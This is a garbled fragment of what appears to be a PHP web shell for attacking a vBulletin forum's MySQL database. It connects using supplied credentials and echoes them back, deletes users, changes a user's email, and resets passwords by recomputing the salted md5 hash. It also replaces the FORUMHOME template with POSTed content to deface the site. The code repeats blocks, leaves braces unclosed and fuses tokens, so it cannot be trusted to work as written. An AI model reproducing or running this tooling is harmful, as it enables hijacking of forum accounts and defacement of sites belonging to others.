mysql_connect($host,$user,$pass)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with user</font>');
mysql_select_db($db)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with DB</font>');
if($pass=='')
{
$npass='NULL';
}else{
$npass=$pass;
}
echo'<font size=3>You are connected with the mysql server of <font color=yellow>'.$host.'</font> by user : <font color=yellow>'.$user.'</font> , pass : <font color=yellow>'.$npass.'</font> and selected DB with the name <font color=yellow>'.$db.'</font></font>';
?>
<hrcolor="#00FF00"/>
<?
$query='delete * from user where username="'.$vbuser.'";';
$r=mysql_query($query);
if($r)
{
echo'<font color=yellow>User : '.$vbuser.' was deleted</font>';
}else{
echo'<font color=red>User : '.$vbuser.' could not be deleted</font>';
mysql_connect($host,$user,$pass)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with user</font>');
mysql_select_db($db)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with DB</font>');
if($pass=='')
{
$npass='NULL';
}else{
$npass=$pass;
}
echo'<font size=3>You are connected with the mysql server of <font color=yellow>'.$host.'</font> by user : <font color=yellow>'.$user.'</font> , pass : <font color=yellow>'.$npass.'</font> and selected DB with the name <font color=yellow>'.$db.'</font></font>';
mysql_connect($host,$user,$pass)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with user</font>');
mysql_select_db($db)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with DB</font>');
if($pass=='')
{
$npass='NULL';
}else{
$npass=$pass;
}
echo'<font size=3>You are connected with the mysql server of <font color=yellow>'.$host.'</font> by user : <font color=yellow>'.$user.'</font> , pass : <font color=yellow>'.$npass.'</font> and selected DB with the name <font color=yellow>'.$db.'</font></font>';
?>
<hrcolor="#00FF00"/>
<?
$index=$_POST['b'];
$Wdt='UPDATE `template` SET `template` = \' '.$index.' \'WHERE `title` =\'FORUMHOME\';';
mysql_connect($host,$user,$pass)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with user</font>');
mysql_select_db($db)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with DB</font>');
if($pass=='')
{
$npass='NULL';
}else{
$npass=$pass;
}
echo'<font size=3>You are connected with the mysql server of <font color=yellow>'.$host.'</font> by user : <font color=yellow>'.$user.'</font> , pass : <font color=yellow>'.$npass.'</font> and selected DB with the name <font color=yellow>'.$db.'</font></font>';
mysql_connect($host,$user,$pass)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with user</font>');
mysql_select_db($db)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with DB</font>');
if($pass=='')
{
$npass='NULL';
}else{
$npass=$pass;
}
echo'<font size=3>You are connected with the mysql server of <font color=yellow>'.$host.'</font> by user : <font color=yellow>'.$user.'</font> , pass : <font color=yellow>'.$npass.'</font> and selected DB with the name <font color=yellow>'.$db.'</font></font>';
?>
<hrcolor="#00FF00"/>
<?
$query='update user set email="'.$vbmail.'" where username="'.$vbuser.'";';
$re=mysql_query($query);
if($re)
{
echo'<font size=3><font color=yellow>The E-MAIL of the user </font><font color=red>'.$vbuser.'</font><font color=yellow> was changed to </font><font color=red>'.$vbmail.'</font><br>Back to <a href="?">Shell</a></font>';
}else{
echo'<font size=3><font color=red>Failed to change E-MAIL</font></font>';
mysql_connect($host,$user,$pass)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with user</font>');
mysql_select_db($db)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with DB</font>');
if($pass=='')
{
$npass='NULL';
}else{
$npass=$pass;
}
echo'<font size=3>You are connected with the mysql server of <font color=yellow>'.$host.'</font> by user : <font color=yellow>'.$user.'</font> , pass : <font color=yellow>'.$npass.'</font> and selected DB with the name <font color=yellow>'.$db.'</font></font>';
?>
<hrcolor="#00FF00"/>
<?
$query='select * from user where username="'.$vbuser.'";';
$result=mysql_query($query);
while($row=mysql_fetch_array($result))
{
$salt=$row['salt'];
$x=md5($vbpass);
$x=$x.$salt;
$pass_salt=md5($x);
$query='update user set password="'.$pass_salt.'" where username="'.$vbuser.'";';
$re=mysql_query($query);
if($re)
{
echo'<font size=3><font color=yellow>The pass of the user </font><font color=red>'.$vbuser.'</font><font color=yellow> was changed to </font><font color=red>'.$vbpass.'</font><br>Back to <a href="?">Shell</a></font>';
}else{
echo'<font size=3><font color=red>Failed to change PassWord</font></font>';
mysql_connect($host,$user,$pass)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with user</font>');
mysql_select_db($db)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with DB</font>');
if($pass=='')
{
$npass='NULL';
}else{
$npass=$pass;
}
echo'<font size=3>You are connected with the mysql server of <font color=yellow>'.$host.'</font> by user : <font color=yellow>'.$user.'</font> , pass : <font color=yellow>'.$npass.'</font> and selected DB with the name <font color=yellow>'.$db.'</font></font>';
mysql_connect($host,$user,$pass)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with user</font>');
mysql_select_db($db)ordie('<font color=red>Nope,</font><font color=yellow>No cOnnection with DB</font>');
if($pass=='')
{
$npass='NULL';
}else{
$npass=$pass;
}
echo'<font size=3>You are connected with the mysql server of <font color=yellow>'.$host.'</font> by user : <font color=yellow>'.$user.'</font> , pass : <font color=yellow>'.$npass.'</font> and selected DB with the name <font color=yellow>'.$db.'</font></font>';